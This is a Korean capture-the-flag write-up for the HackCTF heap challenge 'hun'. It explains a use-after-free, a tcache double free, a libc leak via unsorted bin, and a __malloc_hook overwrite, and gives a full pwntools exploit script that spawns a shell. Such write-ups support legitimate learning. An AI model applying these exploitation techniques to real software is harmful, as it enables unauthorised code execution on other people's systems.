풀이
[*] '/root/pwnable/pro42/hun'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
풀었다! 내가 이렇게 힙 문제를 빨리 풀 줄이야..
프로그램을 실행하면 다음과 같은 메뉴가 나타난다.
IDA로 슈도코드를 확인해 보자.
menu를 출력하고 smooth라는 함수로 값을 입력 받는다.
add, edit, delete, check, exit를 선택할 수 있다.
마찬가지로 smooth 함수로 입력을 받는다.
그 후, v1으로 입력 값을 넘기는데 Index가 0 ~ 6 사이인지 검사한다.
만약, 아니라면 함수를 종료한다.
heap size는 음수가 될 수 없으며, 1024를 넘을 수 없다.
tcache는 0x408 size 까지 heap을 저장할 수 있는 데, 0x400(1024)에서 헤더 size인 0x10을 더하면 0x410이 되기 때문에 이 힙을 free하면 unsorted bin으로 들어가게 된다.
이 점을 이용해 익스플로잇을 하면 될 것 같다.
그리고, add 함수에서 table[v1] 값을 검사하기 때문에 힙은 최대 7개 까지만 할당할 수 있다.
edit 함수에서는 content를 고칠 수 있다. 끝.
delete 함수에서는 heap을 free 해준다.
그런데, 값을 초기화 시키지 않기 때문에 UAF가 발생한다.
check 함수에서는 0 ~ 6 사이 Index 값을 확인할 수 있다.
우리가 익스에 필요한 건 다음과 같다.
1. heap을 0x400 크기로 할당하여 unsorted bin 크기의 heap을 해제할 수 있다.
2. unsorted bin은 해제하면 main_arena의 주소가 적히기 때문에 이를 통해 libc를 leak 할 수 있다.
3. tcache dup을 발생 시켜 원하는 주소의 임의 주소를 적을 수 있다.
4. tcache_entry는 7개까지가 최대이기 때문에 8번 free를 하면 unsorted bin으로 들어간다.
페이로드 시나리오는 이렇다.
1. 0(0x6c) add
2. 1(0x400) add
3. 2(0x6c) add
4. heap0 delete
5. heap0 delete #tcache double free detected!
6. heap1 delete 8 times! #unsorted bin
7. check1 #main_arena leak
8. 3(0x6c) #check 1에서 (leak 한 것 - 96 - 0x10 - 0x13)을 content로 add
9. 4(0x6c) add
10. 5(0x6c) 'A'*19+oneshot_gadget add
하면 6(0x6c)을 실행하면 shell을 딸 수 있다!
익스를 바탕으로 한 페이로드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3041)
#p = process('./hun')
e = ELF('./hun')
libc = ELF('./libc-2.27.so')
shot = 0x10a38c
def add(idx, size, content):
p.sendlineafter('>>', '1')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def edit(idx, content):
p.sendlineafter('>>', '2')
p.sendlineafter(':', str(idx))
p.sendafter(':', content)
def free(idx):
p.sendlineafter('>>', '3')
p.sendlineafter(':', str(idx))
def check(idx):
p.sendlineafter('>>', '4')
p.sendlineafter(':', str(idx))
p.recvuntil(':')
add(0, 0x6c, 'AAAA')
add(1, 0x400, 'BBBB')
add(2, 0x6c, 'CCCC')
free(0)
free(0)
for i in range(0, 8):
free(1)
check(1)
arena_96 = u64(p.recv(6).ljust(8, '\x00'))
arena = arena_96 - 96
malloc_start = arena - 0x10
base = malloc_start - libc.symbols['__malloc_hook']
malloc_fake = malloc_start - 0x13
oneshot = base + shot
add(3, 0x6c, p64(malloc_fake))
add(4, 0x6c, 'AAAA')
add(5, 0x6c, 'A'*19 + p64(oneshot))
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Unexploitable_4 (600p) 알아간 내용 (0) | 2021.01.20 |
---|---|
[HackCTF] ChildFSB (600p) 풀이 (0) | 2021.01.18 |
[HackCTF] ChildHeap 풀이 (500p) (0) | 2021.01.12 |
[HackCTF] ROP 풀이 (300p) (0) | 2020.12.29 |
[HackCTF] UAF 풀이 (300p) (0) | 2020.12.28 |